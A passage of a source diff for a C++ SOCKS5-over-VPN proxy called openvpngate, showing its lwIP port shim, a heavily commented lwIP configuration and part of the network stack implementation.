||||
std::vector<uint8_t> wire; // kept so a retry does not rebuild it
|
||||
int last_rcode = -1; // for the error message when all fail
|
||||
bool done = false;
|
||||
};
|
||||
|
||||
struct CacheEntry {
|
||||
std::vector<IpAddress> addrs;
|
||||
Clock::time_point expires;
|
||||
};
|
||||
|
||||
// Strand-only.
|
||||
void start(const std::string &name, Handler h);
|
||||
void open_socket();
|
||||
void arm_receive();
|
||||
void on_datagram(const std::error_code &ec, size_t n, const Endpoint &from);
|
||||
void send_query(const std::shared_ptr<Query> &q);
|
||||
void on_query_timeout(const std::shared_ptr<Query> &q);
|
||||
void finish(const std::shared_ptr<Query> &q, const std::error_code &ec,
|
||||
std::vector<IpAddress> addrs, uint32_t ttl_seconds);
|
||||
void fail_all(const std::error_code &ec);
|
||||
uint16_t allocate_id();
|
||||
void cache_put(const std::string &name, const std::vector<IpAddress> &addrs,
|
||||
uint32_t ttl_seconds);
|
||||
bool cache_get(const std::string &name, std::vector<IpAddress> *out);
|
||||
|
||||
std::shared_ptr<Netif> netif_;
|
||||
DnsConfig cfg_;
|
||||
Strand strand_;
|
||||
|
||||
std::vector<IpAddress> servers_;
|
||||
UdpSocketPtr sock_;
|
||||
bool opening_ = false;
|
||||
std::vector<std::shared_ptr<Query>> pending_open_;
|
||||
std::vector<uint8_t> rx_buf_;
|
||||
bool receiving_ = false;
|
||||
|
||||
std::unordered_map<uint16_t, std::shared_ptr<Query>> by_id_;
|
||||
std::unordered_map<std::string, std::shared_ptr<Query>> by_name_;
|
||||
|
||||
std::unordered_map<std::string, CacheEntry> cache_;
|
||||
std::deque<std::string> cache_order_; // insertion order, for eviction
|
||||
|
||||
std::mt19937 rng_;
|
||||
|
||||
mutable std::mutex stats_mu_;
|
||||
Stats stats_;
|
||||
};
|
||||
|
||||
// Exposed for tests: build an A-record query and parse a response. Pure
|
||||
// functions over byte buffers, which is the only part of DNS worth unit-testing
|
||||
// in isolation.
|
||||
namespace dns {
|
||||
|
||||
// Returns false if `name` is not a legal DNS name (label > 63, total > 255).
|
||||
bool build_query(const std::string &name, uint16_t id,
|
||||
std::vector<uint8_t> *out);
|
||||
|
||||
struct ParseResult {
|
||||
uint16_t id = 0;
|
||||
int rcode = 0;
|
||||
bool truncated = false;
|
||||
std::vector<IpAddress> addrs;
|
||||
uint32_t min_ttl = 0;
|
||||
};
|
||||
|
||||
// Returns false only for a response that is malformed at the wire level. An
|
||||
// answer that is well-formed but empty or an error comes back true with rcode
|
||||
// and addrs telling the caller what happened.
|
||||
bool parse_response(const uint8_t *data, size_t len, ParseResult *out);
|
||||
|
||||
} // namespace dns
|
||||
|
||||
} // namespace ovg::netstack
|
||||
@@ -0,0 +1,48 @@
|
||||
// lwIP architecture shim for POSIX/glibc userspace.
|
||||
//
|
||||
// lwIP includes this before anything else, from C translation units. Keep it
|
||||
// C-compatible and free of project headers -- the two hooks that need to reach
|
||||
// our C++ logger go through the small extern "C" surface in lwip_shim.h.
|
||||
#ifndef OVG_LWIP_PORT_ARCH_CC_H
|
||||
#define OVG_LWIP_PORT_ARCH_CC_H
|
||||
|
||||
#include <endian.h> // defines BYTE_ORDER / LITTLE_ENDIAN / BIG_ENDIAN
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
// Resolved via the port directory on lwIP's include path (it is where
|
||||
// lwipopts.h is found too), not relative to this file. Spelling it
|
||||
// project-root-relative like the rest of the tree would require putting all of
|
||||
// src/ on lwIP's include path, where our headers could shadow its own.
|
||||
#include "lwip_shim.h"
|
||||
|
||||
// arch.h would otherwise default BYTE_ORDER to LITTLE_ENDIAN without checking,
|
||||
// which is silently wrong on a big-endian build. <endian.h> settles it.
|
||||
#ifndef BYTE_ORDER
|
||||
#error "BYTE_ORDER not defined by <endian.h>"
|
||||
#endif
|
||||
|
||||
// Structure packing: gcc/clang attribute form.
|
||||
#define PACK_STRUCT_BEGIN
|
||||
#define PACK_STRUCT_STRUCT __attribute__((packed))
|
||||
#define PACK_STRUCT_END
|
||||
#define PACK_STRUCT_FIELD(x) x
|
||||
|
||||
// Both hooks land in the project logger under the "lwip" module tag. The
|
||||
// alternative -- lwIP's default of printf to stdout -- would put unprefixed,
|
||||
// untimestamped lines in the middle of the service log, and an assertion
|
||||
// failure would be indistinguishable from ordinary output.
|
||||
#define LWIP_PLATFORM_DIAG(x) \
|
||||
do { \
|
||||
ovg_lwip_diag x; \
|
||||
} while (0)
|
||||
|
||||
#define LWIP_PLATFORM_ASSERT(msg) ovg_lwip_assert_failed((msg), __FILE__, __LINE__)
|
||||
|
||||
// lwIP uses this for the IP identification field and for ephemeral port
|
||||
// selection; a predictable sequence there is a (mild) fingerprint and a (real)
|
||||
// off-path injection aid, so it is backed by a seeded PRNG rather than rand().
|
||||
#define LWIP_RAND() ovg_lwip_rand()
|
||||
|
||||
#endif // OVG_LWIP_PORT_ARCH_CC_H
|
||||
@@ -0,0 +1,67 @@
|
||||
// Definitions for the three port hooks plus lwIP's sys_now().
|
||||
#include "netstack/lwip_port/lwip_shim.h"
|
||||
|
||||
#include <cstdarg>
|
||||
#include <cstdio>
|
||||
#include <cstdlib>
|
||||
#include <chrono>
|
||||
#include <random>
|
||||
|
||||
#include "common/logging.h"
|
||||
|
||||
extern "C" {
|
||||
#include "lwip/sys.h"
|
||||
}
|
||||
|
||||
namespace {
|
||||
constexpr const char *kMod = "lwip";
|
||||
|
||||
// One reference point for the whole process. sys_now() is a u32 millisecond
|
||||
// counter that lwIP is designed to see wrap, so the absolute epoch does not
|
||||
// matter -- only that it is monotonic and never jumps backwards, which rules
|
||||
// out system_clock.
|
||||
std::chrono::steady_clock::time_point boot() {
|
||||
static const auto t0 = std::chrono::steady_clock::now();
|
||||
return t0;
|
||||
}
|
||||
|
||||
std::mt19937 &rng() {
|
||||
static std::mt19937 gen{std::random_device{}()};
|
||||
return gen;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
extern "C" void ovg_lwip_diag(const char *fmt, ...) {
|
||||
char buf[512];
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
const int n = std::vsnprintf(buf, sizeof(buf), fmt, ap);
|
||||
va_end(ap);
|
||||
if (n <= 0) return;
|
||||
|
||||
// lwIP's diagnostics arrive with the trailing newline already attached; the
|
||||
// logger adds its own.
|
||||
std::string_view s(buf);
|
||||
while (!s.empty() && (s.back() == '\n' || s.back() == '\r')) s.remove_suffix(1);
|
||||
if (!s.empty()) ovg::log::write(ovg::log::Level::Debug, kMod, s);
|
||||
}
|
||||
|
||||
extern "C" void ovg_lwip_assert_failed(const char *msg, const char *file,
|
||||
int line) {
|
||||
LOG_ERROR(kMod, "lwIP assertion failed: {} at {}:{}", msg ? msg : "(null)",
|
||||
file ? file : "(null)", line);
|
||||
std::abort();
|
||||
}
|
||||
|
||||
extern "C" uint32_t ovg_lwip_rand(void) {
|
||||
// Called from lwIP callbacks, which are all serialized on the stack's strand,
|
||||
// so the shared generator needs no lock.
|
||||
return static_cast<uint32_t>(rng()());
|
||||
}
|
||||
|
||||
extern "C" u32_t sys_now(void) {
|
||||
using namespace std::chrono;
|
||||
const auto ms = duration_cast<milliseconds>(steady_clock::now() - boot());
|
||||
return static_cast<u32_t>(ms.count());
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
// The C surface lwIP's port layer calls into.
|
||||
//
|
||||
// Split out from arch/cc.h because cc.h is included by lwIP's own C sources and
|
||||
// must stay free of C++; these three symbols are defined in C++ (lwip_shim.cpp)
|
||||
// but declared with C linkage so both sides agree.
|
||||
#ifndef OVG_LWIP_PORT_LWIP_SHIM_H
|
||||
#define OVG_LWIP_PORT_LWIP_SHIM_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// LWIP_PLATFORM_DIAG. printf-style, because that is the shape lwIP calls it in.
|
||||
void ovg_lwip_diag(const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||
|
||||
// LWIP_PLATFORM_ASSERT. Logs at error level and aborts: an lwIP assertion means
|
||||
// an invariant inside the stack is already broken, and continuing past it
|
||||
// corrupts connections silently instead of loudly.
|
||||
void ovg_lwip_assert_failed(const char *msg, const char *file, int line)
|
||||
__attribute__((noreturn));
|
||||
|
||||
// LWIP_RAND.
|
||||
uint32_t ovg_lwip_rand(void);
|
||||
|
||||
// Milliseconds since stack start, for lwIP's timer wheel. lwIP declares
|
||||
// sys_now() itself in sys.h; this is the same function, defined in lwip_shim.cpp.
|
||||
|
||||
#ifdef __cplusplus
|
||||
} // extern "C"
|
||||
#endif
|
||||
|
||||
#endif // OVG_LWIP_PORT_LWIP_SHIM_H
|
||||
@@ -0,0 +1,183 @@
|
||||
// lwIP configuration for openvpngate.
|
||||
//
|
||||
// lwIP ships tuned for microcontrollers: MEMP_NUM_TCP_PCB defaults to 5 and the
|
||||
// heap to a few tens of kilobytes. Running a 1000-session proxy on the stock
|
||||
// configuration does not degrade, it fails outright, so every value below is a
|
||||
// deliberate departure. See docs/FEASIBILITY.md 4.2 for the reasoning and the
|
||||
// honest limits.
|
||||
//
|
||||
// Three constraints shape everything here:
|
||||
//
|
||||
// 1. NO_SYS=1. There is no OS layer, no lwIP thread, no mailbox. The raw
|
||||
// callback API is the only API, and the caller guarantees serialization --
|
||||
// for us that is netstack::Stack's strand.
|
||||
// 2. We are always the connection initiator. No listen path, no ARP, no DHCP,
|
||||
// no autoip -- the tunnel hands us an address.
|
||||
// 3. Memory has to scale to ~1000 concurrent connections, which rules out the
|
||||
// fixed memp pools entirely.
|
||||
#pragma once
|
||||
|
||||
// ---- core model ------------------------------------------------------------
|
||||
|
||||
#define NO_SYS 1
|
||||
#define LWIP_TIMERS 1
|
||||
#define SYS_LIGHTWEIGHT_PROT 0 // strand-serialized; nothing to protect against
|
||||
#define LWIP_NETCONN 0
|
||||
#define LWIP_SOCKET 0
|
||||
#define LWIP_NETIF_API 0
|
||||
#define LWIP_TCPIP_CORE_LOCKING 0
|
||||
|
||||
// ---- memory ----------------------------------------------------------------
|
||||
//
|
||||
// The static pools are the single biggest source of "it worked in testing and
|
||||
// wedged in production" with lwIP: when a pool runs dry the stack silently
|
||||
// drops packets, and the pool that runs dry is never the one you sized. Routing
|
||||
// everything through libc malloc trades pool determinism (which we do not need
|
||||
// -- this is not hard real-time) for the guarantee that capacity planning
|
||||
// mistakes cannot silently corrupt behaviour.
|
||||
//
|
||||
// The price is that lwIP no longer has an upper bound on its own memory. That
|
||||
// bound has to come from somewhere, and it comes from socks5.max_sessions,
|
||||
// enforced at accept time. That is the only thing standing between a burst of
|
||||
// clients and the OOM killer -- see docs/FEASIBILITY.md 4.2.
|
||||
#define MEM_LIBC_MALLOC 1
|
||||
#define MEMP_MEM_MALLOC 1
|
||||
#define MEM_ALIGNMENT 8 // x86_64 / aarch64
|
||||
#define MEM_SIZE (16 * 1024 * 1024) // unused under MEM_LIBC_MALLOC
|
||||
|
||||
// Ignored while MEMP_MEM_MALLOC is on, but kept accurate: they are the sizing
|
||||
// that would apply if anyone ever turns pooling back on, and they document the
|
||||
// intended scale.
|
||||
#define MEMP_NUM_TCP_PCB 1300
|
||||
#define MEMP_NUM_TCP_PCB_LISTEN 0 // we never listen inside the tunnel
|
||||
#define MEMP_NUM_TCP_SEG 8192
|
||||
#define MEMP_NUM_UDP_PCB 512
|
||||
#define MEMP_NUM_RAW_PCB 8
|
||||
#define MEMP_NUM_REASSDATA 32
|
||||
#define MEMP_NUM_FRAG_PBUF 64
|
||||
#define PBUF_POOL_SIZE 1024
|
||||
#define PBUF_POOL_BUFSIZE 1536
|
||||
|
||||
// ---- protocol surface ------------------------------------------------------
|
||||
//
|
||||
// Everything not needed by "an initiator on a point-to-point layer-3 link" is
|
||||
// off. Each of these is code that could have a bug in it and reachable state a
|
||||
// hostile peer could poke at, so off is worth more than the flexibility.
|
||||
#define LWIP_IPV4 1
|
||||
#define LWIP_IPV6 0 // see netstack/lwip_stack.h
|
||||
#define LWIP_ARP 0
|
||||
#define LWIP_ETHERNET 0
|
||||
#define LWIP_DHCP 0
|
||||
#define LWIP_AUTOIP 0
|
||||
#define LWIP_ACD 0
|
||||
#define LWIP_IGMP 0
|
||||
#define LWIP_DNS 0 // ours: netstack/dns_resolver.h
|
||||
#define LWIP_TCP 1
|
||||
#define LWIP_UDP 1
|
||||
#define LWIP_UDPLITE 0
|
||||
#define LWIP_RAW 1 // ICMP echo, for in-tunnel RTT probes
|
||||
#define LWIP_ICMP 1
|
||||
#define LWIP_BROADCAST_PING 0
|
||||
#define LWIP_MULTICAST_PING 0
|
||||
|
||||
// Fragmentation both ways. A VPN transport with a smaller effective MTU than
|
||||
// the one the server pushed is common enough that dropping fragments would show
|
||||
// up as "large HTTPS responses hang" -- the classic, miserable-to-diagnose PMTU
|
||||
// black hole.
|
||||
#define IP_REASSEMBLY 1
|
||||
#define IP_FRAG 1
|
||||
#define IP_REASS_MAXAGE 5
|
||||
#define IP_REASS_MAX_PBUFS 128
|
||||
#define IP_DEFAULT_TTL 64
|
||||
#define IP_FORWARD 0
|
||||
|
||||
// ---- TCP tuning ------------------------------------------------------------
|
||||
//
|
||||
// TCP_MSS is conservative on purpose. lwIP lowers the effective MSS to fit
|
||||
// netif->mtu (tcp_eff_send_mss_netif), so this is only an upper bound; 1360
|
||||
// leaves room for a server that pushes 1500 but whose own transport is doing
|
||||
// encapsulation of its own, without relying on fragmentation to save us.
|
||||
#define TCP_MSS 1360
|
||||
#define TCP_TTL IP_DEFAULT_TTL
|
||||
|
||||
// Window scaling is not optional here. A VPN hop of 150-250ms RTT has a
|
||||
// bandwidth-delay product well past 64 KB, and without scaling every connection
|
||||
// would be capped at roughly (64 KB / RTT) regardless of the link.
|
||||
#define LWIP_WND_SCALE 1
|
||||
#define TCP_RCV_SCALE 2
|
||||
|
||||
// 64 KB per direction per connection. This is the memory knob that matters:
|
||||
// TCP_WND is the ceiling on data lwIP will accept before our reader consumes
|
||||
// it, so the worst case is roughly max_sessions * (TCP_WND + TCP_SND_BUF) --
|
||||
// about 150 MB at the default 1200 sessions. Raising these buys single-stream
|
||||
// throughput and costs that ceiling linearly.
|
||||
#define TCP_WND (64 * 1024)
|
||||
#define TCP_SND_BUF (64 * 1024)
|
||||
#define TCP_SND_QUEUELEN ((8 * (TCP_SND_BUF) + (TCP_MSS - 1)) / (TCP_MSS))
|
||||
#define TCP_SNDLOWAT (TCP_SND_BUF / 4)
|
||||
#define TCP_SNDQUEUELOWAT (TCP_SND_QUEUELEN / 4)
|
||||
|
||||
// Out-of-order queueing, bounded. Lossy VPN paths reorder constantly; without
|
||||
// this a single missing segment stalls the connection for a full RTO.
|
||||
#define TCP_QUEUE_OOSEQ 1
|
||||
#define TCP_OOSEQ_MAX_BYTES TCP_WND
|
||||
#define TCP_OOSEQ_MAX_PBUFS 64
|
||||
|
||||
// SACK, for the same reason: one loss in a 64 KB window should cost one
|
||||
// retransmit, not a window's worth.
|
||||
#define LWIP_TCP_SACK_OUT 1
|
||||
#define LWIP_TCP_MAX_SACK_NUM 4
|
||||
|
||||
#define TCP_LISTEN_BACKLOG 0
|
||||
#define LWIP_TCP_TIMESTAMPS 0 // no PAWS need; saves 12 bytes/segment
|
||||
#define TCP_MAXRTX 8
|
||||
#define TCP_SYNMAXRTX 4 // fail a dead target fast; SOCKS5 has its own timeout
|
||||
|
||||
// ---- checksums -------------------------------------------------------------
|
||||
//
|
||||
// All on. There is no NIC underneath us to offload to -- the "wire" is a
|
||||
// socketpair -- and a corrupt packet arriving from the VPN server is exactly
|
||||
// the case checksums exist for.
|
||||
#define CHECKSUM_GEN_IP 1
|
||||
#define CHECKSUM_GEN_UDP 1
|
||||
#define CHECKSUM_GEN_TCP 1
|
||||
#define CHECKSUM_GEN_ICMP 1
|
||||
#define CHECKSUM_CHECK_IP 1
|
||||
#define CHECKSUM_CHECK_UDP 1
|
||||
#define CHECKSUM_CHECK_TCP 1
|
||||
#define CHECKSUM_CHECK_ICMP 1
|
||||
|
||||
// ---- netif -----------------------------------------------------------------
|
||||
|
||||
#define LWIP_NETIF_HOSTNAME 0
|
||||
#define LWIP_NETIF_STATUS_CALLBACK 0
|
||||
#define LWIP_NETIF_LINK_CALLBACK 0
|
||||
#define LWIP_NETIF_REMOVE_CALLBACK 0
|
||||
#define LWIP_SINGLE_NETIF 0 // two live netifs during a switch
|
||||
#define LWIP_NUM_NETIF_CLIENT_DATA 0
|
||||
|
||||
// ---- statistics ------------------------------------------------------------
|
||||
//
|
||||
// On, and load-bearing: the health monitor reads the TCP retransmit counter as
|
||||
// its packet-loss signal (docs/ARCHITECTURE.md 7). The mem/memp counters are
|
||||
// off because libc malloc owns that accounting now.
|
||||
#define LWIP_STATS 1
|
||||
#define LWIP_STATS_DISPLAY 0
|
||||
#define LINK_STATS 1
|
||||
#define IP_STATS 1
|
||||
#define ICMP_STATS 1
|
||||
#define UDP_STATS 1
|
||||
#define TCP_STATS 1
|
||||
#define MEM_STATS 0
|
||||
#define MEMP_STATS 0
|
||||
#define SYS_STATS 0
|
||||
#define IPFRAG_STATS 1
|
||||
|
||||
// ---- debug -----------------------------------------------------------------
|
||||
//
|
||||
// LWIP_DEBUG is tested with #ifdef, not #if, so defining it to 0 would turn
|
||||
// debug *on*. It must simply not be defined. Asserts stay enabled: an lwIP
|
||||
// assertion means our own callback contract was violated, and LWIP_PLATFORM_
|
||||
// ASSERT in arch/cc.h routes it into the log before aborting. (Defining
|
||||
// LWIP_NOASSERT would disable them; we deliberately do not.)
|
||||
#undef LWIP_DEBUG
|
||||
@@ -0,0 +1,649 @@
|
||||
#include "netstack/lwip_stack.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <cstring>
|
||||
#include <stdexcept>
|
||||
|
||||
#include "common/error.h"
|
||||
#include "common/logging.h"
|
||||
#include "common/metrics.h"
|
||||
#include "netstack/dns_resolver.h"
|
||||
#include "netstack/lwip_tcp.h"
|
||||
#include "netstack/lwip_udp.h"
|
||||
|
||||
extern "C" {
|
||||
#include "lwip/init.h"
|
||||
#include "lwip/ip4.h"
|
||||
#include "lwip/ip4_addr.h"
|
||||
#include "lwip/netif.h"
|
||||
#include "lwip/pbuf.h"
|
||||
#include "lwip/stats.h"
|
||||
#include "lwip/tcp.h"
|
||||
#include "lwip/timeouts.h"
|
||||
#include "lwip/udp.h"
|
||||
}
|
||||
|
||||
namespace ovg::netstack {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "netstack";
|
||||
|
||||
// Upper bound on how long the timer wheel may sit idle. lwIP's own answer
|
||||
// (sys_timeouts_sleeptime) is authoritative when it has work pending; this only
|
||||
// caps the "nothing scheduled" case so that a newly armed timeout is never more
|
||||
// than a quarter second late.
|
||||
constexpr std::chrono::milliseconds kMaxTimerIdle{250};
|
||||
constexpr std::chrono::milliseconds kMinTimerIdle{1};
|
||||
|
||||
// One process, one lwIP. Guarded rather than assumed -- see lwip_stack.h.
|
||||
bool g_stack_live = false;
|
||||
bool g_lwip_initialized = false;
|
||||
|
||||
metrics::Counter *rx_packets() {
|
||||
static auto *c = metrics::counter("ovg_netstack_rx_packets_total",
|
||||
"IP packets read from the tunnel");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *tx_packets() {
|
||||
static auto *c = metrics::counter("ovg_netstack_tx_packets_total",
|
||||
"IP packets written to the tunnel");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *tx_dropped() {
|
||||
static auto *c = metrics::counter("ovg_netstack_tx_dropped_total",
|
||||
"IP packets dropped: link queue full");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *rx_malformed() {
|
||||
static auto *c = metrics::counter("ovg_netstack_rx_malformed_total",
|
||||
"Packets that were not usable IPv4");
|
||||
return c;
|
||||
}
|
||||
metrics::Gauge *netifs_up() {
|
||||
static auto *g = metrics::gauge("ovg_netstack_netifs",
|
||||
"Tunnel interfaces currently attached");
|
||||
return g;
|
||||
}
|
||||
|
||||
ip4_addr_t to_lwip(const IpAddress &a) {
|
||||
ip4_addr_t r{};
|
||||
r.addr = lwip_htonl(a.v4_host_order());
|
||||
return r;
|
||||
}
|
||||
|
||||
ip4_addr_t netmask_for(int prefix) {
|
||||
ip4_addr_t r{};
|
||||
const uint32_t host =
|
||||
(prefix <= 0) ? 0u : (prefix >= 32 ? 0xFFFFFFFFu
|
||||
: (0xFFFFFFFFu << (32 - prefix)));
|
||||
r.addr = lwip_htonl(host);
|
||||
return r;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
std::error_code lwip_error(int8_t err) {
|
||||
switch (err) {
|
||||
case ERR_OK: return {};
|
||||
case ERR_MEM:
|
||||
case ERR_BUF: return make_error_code(Error::ResourceExhausted);
|
||||
case ERR_TIMEOUT: return make_error_code(Error::Timeout);
|
||||
case ERR_RTE: return make_error_code(Error::NetworkUnreachable);
|
||||
case ERR_INPROGRESS: return make_error_code(Error::Internal);
|
||||
case ERR_VAL:
|
||||
case ERR_ARG: return make_error_code(Error::Internal);
|
||||
case ERR_WOULDBLOCK: return std::make_error_code(std::errc::operation_would_block);
|
||||
case ERR_USE: return std::make_error_code(std::errc::address_in_use);
|
||||
case ERR_ALREADY:
|
||||
case ERR_ISCONN: return std::make_error_code(std::errc::already_connected);
|
||||
case ERR_CONN: return make_error_code(Error::NotConnected);
|
||||
case ERR_IF: return make_error_code(Error::NetworkUnreachable);
|
||||
case ERR_ABRT: return std::make_error_code(std::errc::operation_canceled);
|
||||
// A reset during connect means refused; mid-stream it means the peer or a
|
||||
// middlebox tore the connection down. SOCKS5 only cares at connect time,
|
||||
// where "refused" is the honest REP value.
|
||||
case ERR_RST: return make_error_code(Error::ConnectionRefused);
|
||||
case ERR_CLSD: return std::make_error_code(std::errc::connection_reset);
|
||||
default: return make_error_code(Error::Internal);
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Stack
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
Stack::Stack(asio::io_context &io, DnsConfig dns_cfg)
|
||||
: io_(io),
|
||||
dns_cfg_(std::move(dns_cfg)),
|
||||
strand_(asio::make_strand(io)),
|
||||
timer_(strand_) {
|
||||
if (g_stack_live) {
|
||||
throw std::logic_error(
|
||||
"a netstack::Stack already exists; lwIP keeps its state in globals so "
|
||||
"there can only be one per process (see netstack/lwip_stack.h)");
|
||||
}
|
||||
if (!g_lwip_initialized) {
|
||||
lwip_init();
|
||||
g_lwip_initialized = true;
|
||||
LOG_INFO(kMod,
|
||||
"lwIP {}.{}.{} initialized (tcp_mss={} tcp_wnd={} snd_buf={} "
|
||||
"wnd_scale={})",
|
||||
LWIP_VERSION_MAJOR, LWIP_VERSION_MINOR, LWIP_VERSION_REVISION,
|
||||
TCP_MSS, TCP_WND, TCP_SND_BUF, TCP_RCV_SCALE);
|
||||
} else {
|
||||
// A second Stack in the same process (tests do this). lwip_init() resets
|
||||
// pool state that may still be referenced, so it is deliberately not
|
||||
// repeated; the first initialization is still valid.
|
||||
LOG_DEBUG(kMod, "reusing the already-initialized lwIP core");
|
||||
}
|
||||
g_stack_live = true;
|
||||
schedule_timer();
|
||||
}
|
||||
|
||||
Stack::~Stack() {
|
||||
stopping_ = true;
|
||||
timer_.cancel();
|
||||
g_stack_live = false;
|
||||
}
|
||||
|
||||
void Stack::stop() {
|
||||
// On the strand: on_timer reads and re-arms from there, and flipping the flag
|
||||
// underneath it is the one interleaving where a cancelled timer immediately
|
||||
// schedules itself again. A handler already queued when the cancel lands
|
||||
// still runs, sees stopping_, and returns without re-arming.
|
||||
asio::post(strand_, [this] {
|
||||
if (stopping_) return;
|
||||
stopping_ = true;
|
||||
timer_.cancel();
|
||||
LOG_DEBUG(kMod, "lwIP timer stopped");
|
||||
});
|
||||
}
|
||||
|
||||
void Stack::schedule_timer() {
|
||||
if (stopping_) return;
|
||||
|
||||
const u32_t sleep_ms = sys_timeouts_sleeptime();
|
||||
std::chrono::milliseconds d = kMaxTimerIdle;
|
||||
if (sleep_ms != SYS_TIMEOUTS_SLEEPTIME_INFINITE) {
|
||||
d = std::clamp(std::chrono::milliseconds(sleep_ms), kMinTimerIdle,
|
||||
kMaxTimerIdle);
|
||||
}
|
||||
timer_.expires_after(d);
|
||||
timer_.async_wait(asio::bind_executor(
|
||||
strand_, [this](const std::error_code &ec) { on_timer(ec); }));
|
||||
}
|
||||
|
||||
void Stack::on_timer(const std::error_code &ec) {
|
||||
if (ec || stopping_) return;
|
||||
sys_check_timeouts();
|
||||
schedule_timer();
|
||||
}
|
||||
|
||||
bool Stack::claim_address(const IpAddress &a) {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
if (std::find(claimed_.begin(), claimed_.end(), a) != claimed_.end())
|
||||
return false;
|
||||
claimed_.push_back(a);
|
||||
return true;
|
||||
}
|
||||
|
||||
void Stack::release_address(const IpAddress &a) {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
claimed_.erase(std::remove(claimed_.begin(), claimed_.end(), a),
|
||||
claimed_.end());
|
||||
}
|
||||
|
||||
void Stack::async_attach(PacketLink &link, NetifConfig cfg,
|
||||
const asio::any_io_executor &cb_ex, AttachHandler h) {
|
||||
asio::post(strand_, [this, &link, cfg = std::move(cfg), cb_ex,
|
||||
h = std::move(h)]() mutable {
|
||||
auto fail = [&](std::error_code ec, const std::string &why) {
|
||||
LOG_ERROR(kMod, "{}: cannot attach netif: {}", cfg.label, why);
|
||||
asio::post(cb_ex, [h = std::move(h), ec] { h(ec, nullptr); });
|
||||
};
|
||||
|
||||
if (!cfg.address.valid() || !cfg.address.is_v4() || cfg.prefix <= 0 ||
|
||||
cfg.prefix > 32) {
|
||||
fail(make_error_code(Error::ConfigInvalid),
|
||||
"the server did not push a usable IPv4 address");
|
||||
return;
|
||||
}
|
||||
// Two tunnels on the same address are indistinguishable to lwIP's input
|
||||
// path. Refusing here turns a silent misrouting bug into a clean error the
|
||||
// switch controller can act on.
|
||||
if (!claim_address(cfg.address)) {
|
||||
fail(make_error_code(Error::ResourceExhausted),
|
||||
fmt::format("address {} is already in use by another live tunnel; "
|
||||
"a graceful switch is impossible between two nodes that "
|
||||
"push the same address",
|
||||
cfg.address.to_string()));
|
||||
return;
|
||||
}
|
||||
|
||||
auto nif = Netif::create(*this, link, std::move(cfg), cb_ex);
|
||||
std::string err;
|
||||
if (!nif->bring_up(&err)) {
|
||||
release_address(nif->cfg_.address);
|
||||
const std::string label = nif->cfg_.label;
|
||||
nif.reset();
|
||||
LOG_ERROR(kMod, "{}: cannot attach netif: {}", label, err);
|
||||
asio::post(cb_ex, [h = std::move(h)] {
|
||||
h(make_error_code(Error::TunnelSetupFailed), nullptr);
|
||||
});
|
||||
return;
|
||||
}
|
||||
netifs_up()->add(1);
|
||||
asio::post(cb_ex, [h = std::move(h), nif]() mutable {
|
||||
h(std::error_code{}, std::move(nif));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
Stack::GlobalStats Stack::global_stats() const {
|
||||
// lwIP's counters are plain globals updated on the strand. Reading them from
|
||||
// another thread is a benign race on values that are only ever used as coarse
|
||||
// trend indicators; taking the strand for a metrics scrape is not worth it.
|
||||
GlobalStats s;
|
||||
#if TCP_STATS
|
||||
s.tcp_segments_sent = lwip_stats.tcp.xmit;
|
||||
s.tcp_segments_received = lwip_stats.tcp.recv;
|
||||
s.tcp_drops = lwip_stats.tcp.drop;
|
||||
s.tcp_checksum_errors = lwip_stats.tcp.chkerr;
|
||||
s.tcp_memory_errors = lwip_stats.tcp.memerr;
|
||||
#endif
|
||||
#if IP_STATS
|
||||
s.ip_drops = lwip_stats.ip.drop;
|
||||
s.ip_checksum_errors = lwip_stats.ip.chkerr;
|
||||
#endif
|
||||
#if IPFRAG_STATS
|
||||
s.reassembly_failures = lwip_stats.ip_frag.err + lwip_stats.ip_frag.drop;
|
||||
#endif
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
s.netifs = claimed_.size();
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Netif
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
struct Netif::Impl {
|
||||
struct netif nif {};
|
||||
bool added = false;
|
||||
// Scratch for linearizing outbound pbuf chains. A member, not a stack array:
|
||||
// netif output sits under every tcp_output call and a 4 KB frame on that path
|
||||
// is stack we do not need to spend.
|
||||
std::vector<uint8_t> tx_buf;
|
||||
};
|
||||
|
||||
Netif::Netif(Stack &stack, PacketLink &link, NetifConfig cfg,
|
||||
asio::any_io_executor cb_ex)
|
||||
: stack_(stack),
|
||||
link_(link),
|
||||
cfg_(std::move(cfg)),
|
||||
cb_ex_(std::move(cb_ex)),
|
||||
impl_(std::make_unique<Impl>()) {}
|
||||
|
||||
std::shared_ptr<Netif> Netif::create(Stack &stack, PacketLink &link,
|
||||
NetifConfig cfg,
|
||||
asio::any_io_executor cb_ex) {
|
||||
return std::shared_ptr<Netif>(
|
||||
new Netif(stack, link, std::move(cfg), std::move(cb_ex)),
|
||||
detail::StrandDeleter<Netif>{stack.strand()});
|
||||
}
|
||||
|
||||
Netif::~Netif() {
|
||||
// Runs on the strand (StrandDeleter), so touching lwIP here is safe.
|
||||
tear_down();
|
||||
}
|
||||
|
||||
struct netif *Netif::lwip_netif() {
|
||||
return up_ ? &impl_->nif : nullptr;
|
||||
}
|
||||
|
||||
namespace {
|
||||
|
||||
// lwIP calls these with the netif; `state` is the owning Netif.
|
||||
err_t netif_output_cb(struct netif *nif, struct pbuf *p, const ip4_addr_t *) {
|
||||
auto *self = static_cast<Netif *>(nif->state);
|
||||
